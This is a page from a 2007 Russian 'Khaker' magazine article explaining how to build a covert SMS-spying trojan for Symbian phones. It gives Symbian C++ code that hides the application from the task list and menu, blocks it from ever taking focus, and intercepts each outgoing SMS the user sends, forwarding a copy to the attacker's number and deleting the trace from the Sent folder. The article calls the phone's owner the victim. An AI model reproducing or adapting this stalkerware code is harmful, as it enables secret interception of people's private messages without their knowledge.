Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #103, ИЮЛЬ 2007 г.

Большой брат для мобилы

Дмитрий «Zhir» Тарасов

Хакер, номер #103, стр. 103-116-3

aWgName->SetHidden(ETrue); //Прячем приложение из контакт-листа

aWgName->SetSystem(ETrue);

}

А в конструктор класса AppUI вписываются следующие строки:

void CXaSMSAppUi::ConstructL()

{

BaseConstructL();

CEikonEnv::Static()->RootWin().EnableReceiptOfFocus(EFalse); //приложение никогда не может получить фокус

CEikonEnv::Static()->RootWin().SetOrdinalPosition(-1000, ECoeWinPriorityNeverAtFront);

...

}

Это необходимо для того, чтобы приложение никогда не могло получить фокус, в том числе если жертва найдет в файловой системе исполняемый файл.

Все, теперь приложение невидимо ни в тасклисте, ни в меню смартфона, и запустить его нельзя, даже кликая на исполняемый файл. Осталось только приделать автозапуск, используя разработку ezboot. Об этом мы уже неоднократно писали, советую посмотреть «Кодинг» сентябрьского, ноябрьского и декабрьского номеров «Хакера» и «Хакер Спец» за ноябрь.

Перехват входящих и исходящих sms

Механизм работы следующий: хакерская программа мониторит все входящие и исходящие sms и моментально отправляет их копии на номер хакера, удаляя их из папки «Отправленные».

Для реализации этого функционала программисту надо будет сделать sms-движок, являющийся классом, унаследованным от MMsvSessionObserver. Называться этот движок будет, к примеру, CXaMegaFuck. Вид хидера класса представлен во врезке. Реализацию движка можно увидеть в проекте на диске.

Особый интерес представляет метод HandleSessionEventL, поскольку именно он служит для отлова событий типа: «перемещение sms из одной папки в другую», «создание sms» и т.п. К примеру, отлов исходящего sms осуществляется очень просто. Когда sms отправляется, его копия всегда помещается сначала в папку «Исходящие», а после этого уже в папку «Отправленные». В HandleSessionEventL мы отлавливаем эти манипуляции следующим образом:

Отлов исходящего sms

void CXaMegaFuck::HandleSessionEventL(TMsvSessionEvent aEvent, TAny* aArg1, TAny* aArg2, TAny* aArg3)

{

switch (aEvent)//aEvent – событие сервера сообщений

{

case EMsvEntriesMoved:

if((*static_cast<TMsvId*>(aArg3)==KMsvDraftEntryId)&&(*static_cast<TMsvId*>(aArg2)==KMsvSentEntryId))//если сообщение перемещено из черновиков в отправленные, значит, эту sms создал троян и его надо удалить

{

TRAPD(error,DeleteMessageL( KMsvSentEntryId ));

if(error)

{

}

}

if((*static_cast<TMsvId*>(aArg3)==KMsvGlobalOutBoxIndexEntryId)&&(*static_cast<TMsvId*>(aArg2)==KMsvSentEntryId)&&(!iRunning))// если sms перемещено из папки «Исходящие» в папку «Отправленные», значит, sms отправил юзер и его надо получить

{

//составляем отправляемое хакеру сообщение

CreateDraftSMSL(iAddress, aMessage);

SendSMSL();

DeleteMessageL( KMsvSentEntryId );

}

break;

}

}

Код этот достаточно простой и не требует дополнительных комментариев. В результате его выполнения при отправке пользователем sms будет создана его копия вида:

To:+79031111111 Текст сообщения

Собственно текст сообщения формируется следующим образом:

iSession->GetEntry((*entries)[entries->Count()-1],owningServiceId,messageEntry);//записываем хэндл сообщения в messageEntry

Назад на стр. 103-116-2  Содержание  Вперед на стр. 103-116-4